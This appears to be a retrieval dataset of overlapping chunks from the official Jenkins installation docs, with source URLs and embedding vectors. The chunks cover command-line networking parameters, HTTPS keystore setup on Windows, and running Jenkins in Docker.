=== Networking parameters Jenkins networking configuration is generally controlled by command line arguments. The networking configuration arguments are: .Jenkins Networking Command Line Parameters [cols=",",options="header",] |=== |Command Line Parameter |Description |`--httpPort=$HTTP\_PORT` |Runs Jenkins listener on port $HTTP\_PORT using standard \_http\_ protocol. The default is port 8080. To disable (because you're using \_https\_), use port `+-1+`. This option does not impact the root URL being generated within Jenkins logic (UI, inbound agent files, etc.). It is defined by the Jenkins URL specified in the global configuration. |`--httpListenAddress=$HTTP\_HOST` |Binds Jenkins to the IP address represented by $HTTP\_HOST. The default is 0.0.0.0 — i.e. listening on all available interfaces. For example, to only listen for requests from localhost, you could use: `--httpListenAddress=127.0.0.1` |`--httpsPort=$HTTPS\_PORT` |Uses HTTPS protocol on port $HTTPS\_PORT. This option does not impact the root URL being generated within Jenkins logic (UI, inbound agent files, etc.). It is defined by the Jenkins URL specified in the global configuration. |`--httpsListenAddress=$HTTPS\_HOST` |Binds Jenkins to listen for HTTPS requests on the IP address represented by $HTTPS\_HOST. |`--http2Port=$HTTP\_PORT` |Uses HTTP/2 protocol on port $HTTP\_PORT. This option does not impact the root URL being generated within Jenkins logic (UI, inbound agent files, etc.). It is defined by the Jenkins URL specified in the global configuration. |`--http2ListenAddress=$HTTPS\_HOST` |Binds Jenkins to listen for HTTP/2 requests on the IP address represented by $HTTPS\_HOST. |`--prefix=$PREFIX` |Runs Jenkins to include the $PREFIX at the end of the URL. For example, set \_--prefix=/jenkins\_ to make Jenkins accessible at \_\http://myServer:8080/jenkins\_ |`--sessionTimeout=$TIMEOUT` |Sets the http session timeout value to $SESSION\_TIMEOUT minutes. Default to what webapp specifies, and then to 60 minutes |=== === Miscellaneous parameters Other Jenkins initialization options are also controlled by command line arguments. The miscellaneous configuration arguments are: .Jenkins Miscellaneous Command Line Parameters [cols=",",options="header",] |=== |Command Line Parameter |Description |`--argumentsRealm.passwd.$USER=$PASS` |Assigns the password for user $USER. If Jenkins security is enabled, you must log in as a user who has an \_admin\_ role to configure Jenkins. |`--argumentsRealm.roles.$USER=admin` |Assigns user $USER the admin role. The user can configure Jenkins even if security is enabled in Jenkins. Refer to xref:system-administration:security.adoc[Securing Jenkins] for more information. |`--paramsFromStdIn` |Reads parameters from standard input (stdin). When parameters are passed via the command line, they can be viewed using `ps(1)` in Unix or Process Explorer in Windows as long as the process keeps running. This is undesirable when passing sensitive parameters like `--httpsKeyStorePassword`. With the `--paramsFromStdIn` parameter you can replace e.g. + `java -jar jenkins.war --httpPort=-1 --httpsPort=443 --httpsKeyStore=path/to/keystore --httpsKeyStorePassword=keystorePassword` + with + `echo '--httpPort=-1 --httpsPort=443 --httpsKeyStore=path/to/keystore --httpsKeyStorePassword=keystorePassword' \| java -jar jenkins.war --paramsFromStdIn`. |`--useJmx` |Enable link:https://www.eclipse.org/jetty/documentation/current/#jmx-chapter[Jetty Java Management Extension (JMX)] |=== Jenkins passes all command line parameters to the Winstone servlet container. More information about Jenkins Winstone command line parameters is available from the link:https://github.com/jenkinsci/winstone#command-line-options[Winstone Command Line Parameter Reference]. CAUTION: \*Be Careful with Command Line Parameters\* + Jenkins ignores command line parameters it doesn't understand instead of producing an error. Be careful when using command line parameters and make sure you have the correct spelling. For example, the parameter needed for defining the Jenkins administrative user is `--argument\*\*s\*\*Realm` and not `--argumentRealm`. === Jenkins properties Some Jenkins behaviors are configured with Java properties. Java properties are set from the command line that started Jenkins. Property assignments use the form `-DsomeName=someValue` to assign the value `someValue` to the property named `someName`. For example, to assign the value `true` to a property `testName`, the command line argument would be `-DtestName=true`. Refer to the detailed list of xref:managing:system-properties.adoc#Featurescontrolledbysystemproperties-PropertiesinJenkinsCore[Jenkins properties] for more information. == Configuring HTTP === HTTPS with an existing certificate If you're setting up Jenkins using the built-in Winstone server and want to use
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_jenkins-command-parameters.adoc
main
jenkins
[ 0.007449096534401178, 0.05157077684998512, -0.020541291683912277, -0.011642418801784515, -0.016227398067712784, -0.0704554095864296, -0.06970705837011337, -0.05802332982420921, 0.06313546001911163, 0.008940497413277626, -0.023576363921165466, -0.006081810686737299, 0.0014629553770646453, 0...
-0.022476
to assign the value `true` to a property `testName`, the command line argument would be `-DtestName=true`. Refer to the detailed list of xref:managing:system-properties.adoc#Featurescontrolledbysystemproperties-PropertiesinJenkinsCore[Jenkins properties] for more information. == Configuring HTTP === HTTPS with an existing certificate If you're setting up Jenkins using the built-in Winstone server and want to use an existing certificate for HTTPS: [source,bash] ---- --httpPort=-1 \ --httpsPort=443 \ --httpsKeyStore=path/to/keystore \ --httpsKeyStorePassword=keystorePassword ---- === Using HTTP/2 The link:https://tools.ietf.org/html/rfc7540[HTTP/2 protocol] allows web servers to reduce latency over encrypted connections by pipelining requests, multiplexing requests, and allowing servers to push, in some cases, before receiving a client request for the data. The Jetty server used by Jenkins supports HTTP/2 with the addition of the Application-Layer Protocol Negotiation (ALPN) TLS extension. NOTE: Enabling HTTP/2 implicitly enables TLS even if no HTTPS port is set, and as of Jenkins 2.339, which uses Winstone 5.23, you have to also specify an HTTPS key store file. [source,bash] ---- --httpPort=-1 \ --http2Port=9090 \ --httpsKeyStore=path/to/keystore \ --httpsKeyStorePassword=keystorePassword ---- === HTTPS certificates with Windows These instructions use a stock Jenkins installation on Windows Server. The instructions assume a certificate signed by a Certificate Authority such as Digicert. If you are making your own certificate skip steps 3, 4, and 5. This process utilizes Java's keytool. Use the Java `keytool` included with your Java installation. \*Step 1\*: Create a new keystore on your server. This will place a 'keystore' file in your current directory. [source] ---- C:\>keytool -genkeypair -keysize 2048 -keyalg RSA -alias jenkins -keystore keystore Enter keystore password: Re-enter new password: What is your first and last name? [Unknown]: server.example.com What is the name of your organizational unit? [Unknown]: A Unit What is the name of your organization? [Unknown]: A Company What is the name of your City or Locality? [Unknown]: A City What is the name of your State or Province? [Unknown]: A State What is the two-letter country code for this unit? [Unknown]: US Is CN=server.example.com, OU=A Unit, O=A Company, L=A City, ST=A State, C=US correct? [no]: yes Enter key password for (RETURN if same as keystore password): ---- \*Step 2\*: Verify the keystore was created (your fingerprint will vary). [source] ---- C:\>keytool -list -keystore keystore Enter keystore password: Keystore type: JKS Keystore provider: SUN Your keystore contains 1 entry jenkins, May 6, 2015, PrivateKeyEntry, Certificate fingerprint (SHA1): AA:AA:AA:AA:AA:AA:AA:AA:AA:AA ... ---- \*Step 3\*: Create the certificate request. This will create a 'certreq.csr' file in your current directory. [source] ---- C:\>keytool -certreq -alias jenkins -keyalg RSA ^ -file certreq.csr ^ -ext SAN=dns:server-name,dns:server-name.your.company.com ^ -keystore keystore Enter keystore password: ---- \*Step 4\*: Use the contents of the `+certreq.csr+` file to generate a certificate from your certificate provider. Request a SHA-1 certificate (SHA-2 is untested but will likely work). If using DigiCert, download the resulting certificate as Other format "a .p7b bundle of all the certs in a .p7b file". \*Step 5\*: Add the resulting .p7b into the keystore you created above. [source] ---- C:\>keytool -import ^ -alias jenkins ^ -trustcacerts ^ -file response\_from\_digicert.p7b ^ -keystore keystore Enter keystore password: Certificate reply was installed in keystore ---- \*Step 6\*: Copy the 'keystore' file to your Jenkins secrets directory. On a stock installation, this will be at [source] ---- C:\Program Files (x86)\Jenkins\secrets ---- \*Step 7\*: Modify the section of your `+C:\Program Files (x86)\Jenkins\jenkins.xml+` file to reflect the new certificate. NOTE: This example disables http via `+--httpPort=-1+` and places the server on `+8443+` via `+--httpsPort=8443+`. [source,xml] ---- -Xrs -Xmx256m -Dhudson.lifecycle=hudson.lifecycle.WindowsServiceLifecycle -jar "%BASE%\jenkins.war" --httpPort=-1 --httpsPort=8443 --httpsKeyStore="%BASE%\secrets\keystore" --httpsKeyStorePassword=your.password.here ---- \*Step 8\*: Restart the jenkins service to initialize the new configuration. [source] ---- net stop jenkins net start jenkins ---- \*Step 9\*: After
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_jenkins-command-parameters.adoc
main
jenkins
[ -0.05712313950061798, 0.03677089512348175, -0.09547989070415497, 0.02601817063987255, -0.06018348038196564, -0.07324017584323883, 0.012567845173180103, -0.010936327278614044, 0.028823547065258026, -0.001966943498700857, -0.0031922748312354088, -0.11327501386404037, 0.05648742988705635, 0.0...
-0.028953
NOTE: This example disables http via `+--httpPort=-1+` and places the server on `+8443+` via `+--httpsPort=8443+`. [source,xml] ---- -Xrs -Xmx256m -Dhudson.lifecycle=hudson.lifecycle.WindowsServiceLifecycle -jar "%BASE%\jenkins.war" --httpPort=-1 --httpsPort=8443 --httpsKeyStore="%BASE%\secrets\keystore" --httpsKeyStorePassword=your.password.here ---- \*Step 8\*: Restart the jenkins service to initialize the new configuration. [source] ---- net stop jenkins net start jenkins ---- \*Step 9\*: After 30-60 seconds, Jenkins will have completed the startup process and you should be able to access the website at \_\https://server.example.com:8443\_. Verify the certificate looks good via your browser's tools. If the service terminates immediately, there's an error somewhere in your configuration. Useful error information can be found in: [source] ---- C:\Program Files (x86)\Jenkins\jenkins.err.log C:\Program Files (x86)\Jenkins\jenkins.out.log ----
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_jenkins-command-parameters.adoc
main
jenkins
[ -0.03834724798798561, 0.020277520641684532, -0.04406367987394333, -0.03279488533735275, -0.034282341599464417, -0.05757495388388634, -0.05841125547885895, -0.05947605147957802, 0.03469773381948471, -0.014043944887816906, 0.008294103667140007, -0.0013441226910799742, 0.006559077650308609, 0...
-0.055204
//// This file is only meant to be included as a snippet in other documents. There is a version of this file for the general 'Installing Jenkins' page (index.adoc) and another for tutorials (\_run-jenkins-in-docker.adoc). This file is for the index.adoc page used in the general 'Installing Jenkins' page. If you update content on this page, please ensure the changes are reflected in the sibling file \_docker-for-tutorials.adoc (used in \_run-jenkins-in-docker.adoc). //// [#on-macos-and-linux] === On macOS and Linux . Open up a terminal window. . Create a link:https://docs.docker.com/network/bridge/[bridge network] in Docker using the following link:https://docs.docker.com/engine/reference/commandline/network\_create/[`docker network create`] command: + [source,bash] ---- docker network create jenkins ---- . In order to execute Docker commands inside Jenkins nodes, download and run the `docker:dind` Docker image using the following link:https://docs.docker.com/engine/reference/run/[`docker run`] command: + [source,bash] ---- docker run \ --name jenkins-docker \# <1> --rm \# <2> --detach \# <3> --privileged \# <4> --network jenkins \# <5> --network-alias docker \# <6> --env DOCKER\_TLS\_CERTDIR=/certs \# <7> --volume jenkins-docker-certs:/certs/client \# <8> --volume jenkins-data:/var/jenkins\_home \# <9> --publish 2376:2376 \# <10> docker:dind \# <11> --storage-driver overlay2# <12> ---- <1> ( \_Optional\_ ) Specifies the Docker container name to use for running the image. By default, Docker generates a unique name for the container. <2> ( \_Optional\_ ) Automatically removes the Docker container (the instance of the Docker image) when it is shut down. <3> ( \_Optional\_ ) Runs the Docker container in the background. You can stop this instance by running `docker stop jenkins-docker`. <4> Running Docker in Docker currently requires privileged access to function properly. This requirement may be relaxed with newer Linux kernel versions. // TODO: what versions of Linux? <5> This corresponds with the network created in the earlier step. <6> Makes the Docker in Docker container available as the hostname `docker` within the `jenkins` network. <7> Enables the use of TLS in the Docker server. Due to the use of a privileged container, this is recommended, though it requires the use of the shared volume described below. This environment variable controls the root directory where Docker TLS certificates are managed. <8> Maps the `/certs/client` directory inside the container to a Docker volume named `jenkins-docker-certs` as created above. <9> Maps the `/var/jenkins\_home` directory inside the container to the Docker volume named `jenkins-data`. This allows for other Docker containers controlled by this Docker container's Docker daemon to mount data from Jenkins. <10> ( \_Optional\_ ) Exposes the Docker daemon port on the host machine. This is useful for executing `docker` commands on the host machine to control this inner Docker daemon. <11> The `docker:dind` image itself. Download this image before running, by using the command: `docker image pull docker:dind`. <12> The storage driver for the Docker volume. Refer to the link:https://docs.docker.com/storage/storagedriver/select-storage-driver[Docker storage drivers] documentation for supported options. + NOTE: If you have problems copying and pasting the above command snippet, use the annotation-free version below: + [source,bash] ---- docker run --name jenkins-docker --rm --detach \ --privileged --network jenkins --network-alias docker \ --env DOCKER\_TLS\_CERTDIR=/certs \ --volume jenkins-docker-certs:/certs/client \ --volume jenkins-data:/var/jenkins\_home \ --publish 2376:2376 \ docker:dind --storage-driver overlay2 ---- . Customize the official Jenkins Docker image, by executing the following two steps: .. Create a Dockerfile with the following content: + [source,subs="attributes+"] ---- FROM jenkins/jenkins:{jenkins-stable}-jdk17 USER root RUN apt-get update && apt-get install -y lsb-release RUN curl -fsSLo /usr/share/keyrings/docker-archive-keyring.asc \ https://download.docker.com/linux/debian/gpg RUN echo "deb [arch=$(dpkg --print-architecture) \ signed-by=/usr/share/keyrings/docker-archive-keyring.asc] \ https://download.docker.com/linux/debian \ $(lsb\_release -cs) stable" > /etc/apt/sources.list.d/docker.list RUN apt-get update && apt-get install -y docker-ce-cli USER jenkins RUN jenkins-plugin-cli --plugins "blueocean docker-workflow" ---- .. Build a new docker image from this Dockerfile, and assign the image a meaningful name, such as "myjenkins-blueocean:{jenkins-stable}-1":
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_docker.adoc
main
jenkins
[ -0.05624687299132347, 0.04152730479836464, -0.0183133352547884, 0.004919425584375858, 0.027446966618299484, -0.06681584566831589, -0.017882099375128746, -0.025175392627716064, 0.02971442975103855, 0.006809913087636232, -0.012981892563402653, -0.016898872330784798, -0.045082561671733856, -0...
0.073595
RUN echo "deb [arch=$(dpkg --print-architecture) \ signed-by=/usr/share/keyrings/docker-archive-keyring.asc] \ https://download.docker.com/linux/debian \ $(lsb\_release -cs) stable" > /etc/apt/sources.list.d/docker.list RUN apt-get update && apt-get install -y docker-ce-cli USER jenkins RUN jenkins-plugin-cli --plugins "blueocean docker-workflow" ---- .. Build a new docker image from this Dockerfile, and assign the image a meaningful name, such as "myjenkins-blueocean:{jenkins-stable}-1": + [source,bash,subs="attributes+"] ---- docker build -t myjenkins-blueocean:{jenkins-stable}-1 . ---- If you have not yet downloaded the official Jenkins Docker image, the above process automatically downloads it for you. . Run your own `myjenkins-blueocean:{jenkins-stable}-1` image as a container in Docker using the following link:https://docs.docker.com/engine/reference/run/[`docker run`] command: + [source,bash,subs="attributes+"] ---- docker run \ --name jenkins-blueocean \# <1> --restart=on-failure \# <2> --detach \# <3> --network jenkins \# <4> --env DOCKER\_HOST=tcp://docker:2376 \# <5> --env DOCKER\_CERT\_PATH=/certs/client \ --env DOCKER\_TLS\_VERIFY=1 \ --publish 8080:8080 \# <6> --publish 50000:50000 \# <7> --volume jenkins-data:/var/jenkins\_home \# <8> --volume jenkins-docker-certs:/certs/client:ro \# <9> myjenkins-blueocean:{jenkins-stable}-1 # <10> ---- <1> ( \_Optional\_ ) Specifies the Docker container name for this instance of the Docker image. <2> Always restart the container if it stops. If it is manually stopped, it is restarted only when Docker daemon restarts or the container itself is manually restarted. <3> ( \_Optional\_ ) Runs the current container in the background, known as "detached" mode, and outputs the container ID. If you do not specify this option, then the running Docker log for this container is displayed in the terminal window. <4> Connects this container to the `jenkins` network previously defined. The Docker daemon is now available to this Jenkins container through the hostname `docker`. <5> Specifies the environment variables used by `docker`, `docker-compose`, and other Docker tools to connect to the Docker daemon from the previous step. <6> Maps, or publishes, port 8080 of the current container to port 8080 on the host machine. The first number represents the port on the host, while the last represents the container's port. For example, to access Jenkins on your host machine through port 49000, enter `-p 49000:8080` for this option. <7> ( \_Optional\_ ) Maps port 50000 of the current container to port 50000 on the host machine. This is only necessary if you have set up one or more inbound Jenkins agents on other machines, which in turn interact with your `jenkins-blueocean` container, known as the Jenkins "controller". Inbound Jenkins agents communicate with the Jenkins controller through TCP port 50000 by default. You can change this port number on your Jenkins controller through the xref:user-docs:security:managing-security.adoc[Security] page. For example, if you update the \*TCP port for inbound Jenkins agents\* of your Jenkins controller to 51000, you need to re-run Jenkins via the `docker run ...` command. Specify the "publish" option as follows: the first value is the port number on the machine hosting the Jenkins controller, and the last value matches the changed value on the Jenkins controller, for example,`--publish 52000:51000`. Inbound Jenkins agents communicate with the Jenkins controller on that port (52000 in this example). Note that link:https://www.jenkins.io/blog/2020/02/02/web-socket/[WebSocket agents] do not need this configuration. <8> Maps the `/var/jenkins\_home` directory in the container to the Docker link:https://docs.docker.com/engine/admin/volumes/volumes/[volume] with the name `jenkins-data`. Instead of mapping the `/var/jenkins\_home` directory to a Docker volume, you can also map this directory to one on your machine's local file system. For example, specify the option `--volume $HOME/jenkins:/var/jenkins\_home` to map the container's `/var/jenkins\_home` directory to the `jenkins` subdirectory within the `$HOME` directory on your local machine -- typically `/Users//jenkins` or `/home//jenkins`. NOTE: If you change the source volume or directory for this, the volume from the `docker:dind` container above needs to be updated to match this. <9> Maps the `/certs/client` directory to the previously created `jenkins-docker-certs` volume. The
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_docker.adoc
main
jenkins
[ -0.02118087001144886, 0.031257838010787964, 0.006127861328423023, -0.009193051606416702, 0.037531718611717224, -0.07942070811986923, -0.03534122556447983, -0.001226792111992836, 0.012798584997653961, 0.027119256556034088, -0.05535580962896347, -0.08036965131759644, 0.012107957154512405, 0....
0.02614
within the `$HOME` directory on your local machine -- typically `/Users//jenkins` or `/home//jenkins`. NOTE: If you change the source volume or directory for this, the volume from the `docker:dind` container above needs to be updated to match this. <9> Maps the `/certs/client` directory to the previously created `jenkins-docker-certs` volume. The client TLS certificates required to connect to the Docker daemon are now available in the path specified by the `DOCKER\_CERT\_PATH` environment variable. <10> The name of the Docker image, which you built in the previous step. + NOTE: If you have problems copying and pasting the command snippet, use the annotation-free version below: + [source,bash,subs="attributes+"] ---- docker run --name jenkins-blueocean --restart=on-failure --detach \ --network jenkins --env DOCKER\_HOST=tcp://docker:2376 \ --env DOCKER\_CERT\_PATH=/certs/client --env DOCKER\_TLS\_VERIFY=1 \ --publish 8080:8080 --publish 50000:50000 \ --volume jenkins-data:/var/jenkins\_home \ --volume jenkins-docker-certs:/certs/client:ro \ myjenkins-blueocean:{jenkins-stable}-1 ---- . Proceed to the xref:#setup-wizard[Post-installation setup wizard]. [#on-windows] === On Windows The Jenkins project provides a Linux container image, not a Windows container image. Be sure that your Docker for Windows installation is configured to run `Linux Containers` rather than `Windows Containers`. Refer to the Docker documentation for instructions to link:https://docs.docker.com/docker-for-windows/#switch-between-windows-and-linux-containers[switch to Linux containers]. Once configured to run `Linux Containers`, the steps are: . Open up a command prompt window and similar to the xref:#on-macos-and-linux[macOS and Linux] instructions above do the following: . Create a bridge network in Docker + [source,bash] ---- docker network create jenkins ---- . Run a docker:dind Docker image + [source,bash] ---- docker run --name jenkins-docker --rm --detach ^ --privileged --network jenkins --network-alias docker ^ --env DOCKER\_TLS\_CERTDIR=/certs ^ --volume jenkins-docker-certs:/certs/client ^ --volume jenkins-data:/var/jenkins\_home ^ --publish 2376:2376 ^ docker:dind ---- . Customize the official Jenkins Docker image, by executing the following two steps: .. Create a Dockerfile with the following content: + [source,dockerfile,subs="attributes+"] ---- FROM jenkins/jenkins:{jenkins-stable}-jdk17 USER root RUN apt-get update && apt-get install -y lsb-release RUN curl -fsSLo /usr/share/keyrings/docker-archive-keyring.asc \ https://download.docker.com/linux/debian/gpg RUN echo "deb [arch=$(dpkg --print-architecture) \ signed-by=/usr/share/keyrings/docker-archive-keyring.asc] \ https://download.docker.com/linux/debian \ $(lsb\_release -cs) stable" > /etc/apt/sources.list.d/docker.list RUN apt-get update && apt-get install -y docker-ce-cli USER jenkins RUN jenkins-plugin-cli --plugins "blueocean docker-workflow" ---- .. Build a new docker image from this Dockerfile and assign the image a meaningful name, e.g. "myjenkins-blueocean:{jenkins-stable}-1": + [source,bash,subs="attributes+"] ---- docker build -t myjenkins-blueocean:{jenkins-stable}-1 . ---- If you have not yet downloaded the official Jenkins Docker image, the above process automatically downloads it for you. . Run your own `myjenkins-blueocean:{jenkins-stable}-1` image as a container in Docker using the following link:https://docs.docker.com/engine/reference/run/[`docker run`] command: + [source,bash,subs="attributes+"] ---- docker run --name jenkins-blueocean --restart=on-failure --detach ^ --network jenkins --env DOCKER\_HOST=tcp://docker:2376 ^ --env DOCKER\_CERT\_PATH=/certs/client --env DOCKER\_TLS\_VERIFY=1 ^ --volume jenkins-data:/var/jenkins\_home ^ --volume jenkins-docker-certs:/certs/client:ro ^ --publish 8080:8080 --publish 50000:50000 myjenkins-blueocean:{jenkins-stable}-1 ---- . Proceed to the xref:#setup-wizard[Setup wizard]. [#accessing-the-jenkins-blue-ocean-docker-container] == Accessing the Docker container If you want to access your Docker container through a terminal/command prompt using the link:https://docs.docker.com/engine/reference/commandline/exec/[`docker exec`] command, add an option like `--name jenkins-tutorial` to the `docker exec` command. That will access the Jenkins Docker container named "jenkins-tutorial". You can access your docker container (through a separate terminal/command prompt window) with a `docker exec` command such as: `docker exec -it jenkins-blueocean bash` [#accessing-the-jenkins-console-log-through-docker-logs] == Accessing the Docker logs You may want to access the Jenkins console log, for instance, when xref:#unlocking-jenkins[Unlocking Jenkins] as part of the xref:#setup-wizard[Post-installation setup wizard]. Access the Jenkins console log through the terminal/command prompt window from which you executed the `docker run ...` command. Alternatively, you can also access the Jenkins console log through the link:https://docs.docker.com/engine/reference/commandline/logs/[Docker logs] of your container using the following command: `docker logs ` Your `` can be obtained using the `docker ps` command. == Accessing the Jenkins home directory You can access the Jenkins
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_docker.adoc
main
jenkins
[ -0.01733550615608692, 0.05458410084247589, -0.017231086269021034, 0.0043433052487671375, 0.06145887076854706, -0.015230483375489712, -0.032429181039333344, 0.019209198653697968, 0.05249384418129921, -0.024687781929969788, -0.050583064556121826, -0.09552697837352753, 0.0705714076757431, 0.0...
-0.036647
executed the `docker run ...` command. Alternatively, you can also access the Jenkins console log through the link:https://docs.docker.com/engine/reference/commandline/logs/[Docker logs] of your container using the following command: `docker logs ` Your `` can be obtained using the `docker ps` command. == Accessing the Jenkins home directory You can access the Jenkins home directory, to check the details of a Jenkins build in the `workspace` subdirectory, for example. If you mapped the Jenkins home directory (`/var/jenkins\_home`) to one on your machine's local file system, for example, in the `docker run ...` command xref:#downloading-and-running-jenkins-in-docker[above], access the directory contents through your machine's usual terminal/command prompt. If you specified the `--volume jenkins-data:/var/jenkins\_home` option in the `docker run ...` command, access the contents of the Jenkins home directory through your container's terminal/command prompt using the link:https://docs.docker.com/engine/reference/commandline/container\_exec/[`docker container exec`] command: `docker container exec -it bash` As per xref:#accessing-the-jenkins-console-log-through-docker-logs[the previous section], get your `` using the link:https://docs.docker.com/engine/reference/commandline/container\_ls/[`docker container ls`] command. If you specified the `--name jenkins-blueocean` option in the `docker container run ...` command above (refer to xref:#accessing-the-jenkins-blue-ocean-docker-container[Accessing the Jenkins/Blue Ocean Docker container] if needed), use the `docker container exec` command: `docker container exec -it jenkins-blueocean bash` //// Might wish to add explaining the `docker run -t` option, which was covered in the old installation instructions but not above. Also mention that spinning up a container of the `jenkins/jenkins` Docker image can be done so with all the same https://github.com/jenkinsci/docker#usage[configuration options] available to the other images published by the Jenkins project. Explain colon syntax on Docker image references like `jenkins/jenkins:latest'. ////
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_docker.adoc
main
jenkins
[ 0.04970529302954674, 0.020794453099370003, 0.0014219804434105754, 0.004336316604167223, 0.08251168578863144, -0.028749588876962662, -0.060527488589286804, -0.013509472832083702, 0.05761364847421646, -0.003697044448927045, -0.08745370805263519, -0.054767947643995285, -0.022611116990447044, ...
-0.00947
//// This file is only meant to be included as a snippet in other documents. It is currently used in the Tutorials. If you update content on this page, please ensure it reflects the generic Docker instructions documented in the sibling 'index.adoc' file. //// [#run-jenkins-in-docker] == Run Jenkins in Docker In this tutorial, you'll be running Jenkins as a Docker container from the link:https://hub.docker.com/r/jenkins/jenkins/[`jenkins/jenkins`] Docker image. To run Jenkins in Docker, follow the relevant instructions below for either xref:#on-macos-and-linux[macOS and Linux] or xref:#on-windows[Windows]. You can read more about Docker container and image concepts in the xref:user-docs:installing-jenkins:partial$\_docker.adoc[Docker] section of the xref:user-docs:installing-jenkins:index.adoc[Installing Jenkins] page. include::user-docs:installing-jenkins:partial$\_docker-for-tutorials.adoc[] include::user-docs:installing-jenkins:partial$\_setup-wizard-for-tutorials.adoc[]
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_run-jenkins-in-docker.adoc
main
jenkins
[ -0.03549675643444061, 0.04430039972066879, 0.0089699262753129, 0.0009718888904899359, 0.07711285352706909, -0.06269557774066925, 0.007841832004487514, 0.012780106626451015, 0.02278413437306881, -0.031318556517362595, -0.013324777595698833, -0.040141761302948, 0.005626069847494364, 0.015106...
0.05252
//// This file is only meant to be included as a snippet in other documents. There is a version of this file for the general 'Installing Jenkins' page (index.adoc) and another for tutorials (\_run-jenkins-in-docker.adoc). This file is for the \_run-jenkins-in-docker.adoc page used in the tutorials. If you update content on this page, please ensure the changes are reflected in the sibling file \_docker.adoc (used in index.adoc). //// ==== On macOS and Linux . Open up a terminal window. . Create a link:https://docs.docker.com/network/bridge/[bridge network] in Docker using the following link:https://docs.docker.com/engine/reference/commandline/network\_create/[`docker network create`] command: + [source,bash] ---- docker network create jenkins ---- . In order to execute Docker commands inside Jenkins nodes, download and run the `docker:dind` Docker image using the following link:https://docs.docker.com/engine/reference/run/[`docker run`] command: + [source,bash] ---- docker run \ --name jenkins-docker \# <1> --rm \# <2> --detach \# <3> --privileged \# <4> --network jenkins \# <5> --network-alias docker \# <6> --env DOCKER\_TLS\_CERTDIR=/certs \# <7> --volume jenkins-docker-certs:/certs/client \# <8> --volume jenkins-data:/var/jenkins\_home \# <9> --publish 2376:2376 \# <10> --publish 3000:3000 --publish 5000:5000 \# <11> docker:dind \# <12> --storage-driver overlay2 # <13> ---- <1> ( \_Optional\_ ) Specifies the Docker container name to use for running the image. By default, Docker will generate a unique name for the container. <2> ( \_Optional\_ ) Automatically removes the Docker container (the instance of the Docker image) when it is shut down. <3> ( \_Optional\_ ) Runs the Docker container in the background. This instance can be stopped later by running `docker stop jenkins-docker`. <4> Running Docker in Docker currently requires privileged access to function properly. This requirement may be relaxed with newer Linux kernel versions. // TODO: what versions of Linux? <5> This corresponds with the network created in the earlier step. <6> Makes the Docker in Docker container available as the hostname `docker` within the `jenkins` network. <7> Enables the use of TLS in the Docker server. Due to the use of a privileged container, this is recommended, though it requires the use of the shared volume described below. This environment variable controls the root directory where Docker TLS certificates are managed. <8> Maps the `/certs/client` directory inside the container to a Docker volume named `jenkins-docker-certs` as created above. <9> Maps the `/var/jenkins\_home` directory inside the container to the Docker volume named `jenkins-data`. This will allow for other Docker containers controlled by this Docker container's Docker daemon to mount data from Jenkins. <10> ( \_Optional\_ ) Exposes the Docker daemon port on the host machine. This is useful for executing `docker` commands on the host machine to control this inner Docker daemon. <11> Exposes ports 3000 and 5000 from the docker in docker container, used by some of the tutorials. <12> The `docker:dind` image itself. This image can be downloaded before running by using the command: `docker image pull docker:dind`. <13> The storage driver for the Docker volume. See link:https://docs.docker.com/storage/storagedriver/select-storage-driver["Docker storage drivers"] for supported options. + \*Note:\* If copying and pasting the command snippet above does not work, try copying and pasting this annotation-free version here: + [source,bash] ---- docker run --name jenkins-docker --rm --detach \ --privileged --network jenkins --network-alias docker \ --env DOCKER\_TLS\_CERTDIR=/certs \ --volume jenkins-docker-certs:/certs/client \ --volume jenkins-data:/var/jenkins\_home \ --publish 3000:3000 --publish 5000:5000 --publish 2376:2376 \ docker:dind --storage-driver overlay2 ---- . Customise official Jenkins Docker image, by executing below two steps: .. Create Dockerfile with the following content: + [source,subs="attributes+"] ---- FROM jenkins/jenkins:{jenkins-stable}-jdk17 USER root RUN apt-get update && apt-get install -y lsb-release RUN curl -fsSLo /usr/share/keyrings/docker-archive-keyring.asc \ https://download.docker.com/linux/debian/gpg RUN echo "deb [arch=$(dpkg --print-architecture) \ signed-by=/usr/share/keyrings/docker-archive-keyring.asc] \ https://download.docker.com/linux/debian \ $(lsb\_release -cs) stable" > /etc/apt/sources.list.d/docker.list RUN apt-get update && apt-get install -y docker-ce-cli
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_docker-for-tutorials.adoc
main
jenkins
[ -0.06325138360261917, 0.036761872470378876, -0.021960772573947906, 0.016365379095077515, 0.03144693002104759, -0.07381722331047058, -0.01720544323325157, -0.02283681556582451, 0.02645711600780487, 0.012462018989026546, -0.01605003885924816, -0.02934357151389122, -0.037314508110284805, -0.0...
0.068181
